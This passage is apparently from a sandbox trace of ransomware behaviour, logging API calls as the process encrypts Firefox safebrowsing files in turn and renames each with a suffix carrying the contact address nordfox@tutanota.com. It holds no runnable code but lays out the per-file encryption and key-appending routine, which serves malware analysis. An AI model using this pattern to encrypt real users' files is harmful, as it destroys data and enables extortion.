"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.342] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.342] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.342] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d5248 [0178.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618460 [0178.342] ReadFile (in: hFile=0x1a4c, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x4dec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x4dec, lpOverlapped=0x0) returned 1 [0178.346] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-19948, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.346] WriteFile (in: hFile=0x1a4c, lpBuffer=0x30dbe30*, nNumberOfBytesToWrite=0x4dec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbe30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4dec, lpOverlapped=0x0) returned 1 [0178.346] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4dec [0178.346] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.346] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.346] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.347] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.347] CloseHandle (hObject=0x1a4c) returned 1 [0178.347] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.348] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0178.348] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.348] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585320 [0178.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618460 [0178.349] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20288, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20288*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.349] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.349] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e202a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e202a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.350] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.350] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.350] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.350] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.350] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.350] CloseHandle (hObject=0x1a4c) returned 1 [0178.351] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0178.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.354] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore", dwFileAttributes=0x80) returned 1 [0178.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585228 [0178.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618750 [0178.355] ReadFile (in: hFile=0x1a4c, lpBuffer=0x30d7038, nNumberOfBytesToRead=0xba3d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0xba3d, lpOverlapped=0x0) returned 1 [0178.362] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-47677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.362] WriteFile (in: hFile=0x1a4c, lpBuffer=0x30e2a80*, nNumberOfBytesToWrite=0xba3d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2a80*, lpNumberOfBytesWritten=0x2e1f9bc*=0xba3d, lpOverlapped=0x0) returned 1 [0178.363] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xba3d [0178.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.363] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.363] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.363] CloseHandle (hObject=0x1a4c) returned 1 [0178.364] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.365] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.365] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.365] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset", dwFileAttributes=0x80) returned 1 [0178.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9210 [0178.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a970 [0178.366] ReadFile (in: hFile=0x1a4c, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x164ac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x164ac, lpOverlapped=0x0) returned 1 [0178.380] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-91308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.380] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x164ac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x164ac, lpOverlapped=0x0) returned 1 [0178.381] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x164ac [0178.381] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.381] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.381] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.381] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.382] CloseHandle (hObject=0x1a4c) returned 1 [0178.382] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0178.383] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5859e8 [0178.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6185d8 [0178.384] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e7320, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7320*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0178.385] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.385] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e69c0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0178.385] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0178.385] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.385] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.385] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.386] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.386] CloseHandle (hObject=0x1a4c) returned 1 [0178.386] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.388] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.388] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0178.388] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585130 [0178.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618750 [0178.388] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20270, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20270*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.389] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.389] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20348*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20348*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.389] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.390] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.390] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.390] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.390] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.390] CloseHandle (hObject=0x1a4c) returned 1 [0178.390] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0178.392] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d6918 [0178.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x56c6b8 [0178.393] ReadFile (in: hFile=0x1a4c, lpBuffer=0x531498, nNumberOfBytesToRead=0x22c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x531498*, lpNumberOfBytesRead=0x2e1f9bc*=0x22c, lpOverlapped=0x0) returned 1 [0178.402] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-556, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.402] WriteFile (in: hFile=0x1a4c, lpBuffer=0x564d08*, nNumberOfBytesToWrite=0x22c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564d08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x22c, lpOverlapped=0x0) returned 1 [0178.402] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x22c [0178.403] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.403] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.403] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.403] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.403] CloseHandle (hObject=0x1a4c) returned 1 [0178.404] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0178.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0178.405] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585130 [0178.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618a40 [0178.406] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e201f8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e201f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.407] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.407] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e201e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e201e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.407] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.407] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.407] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.407] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, 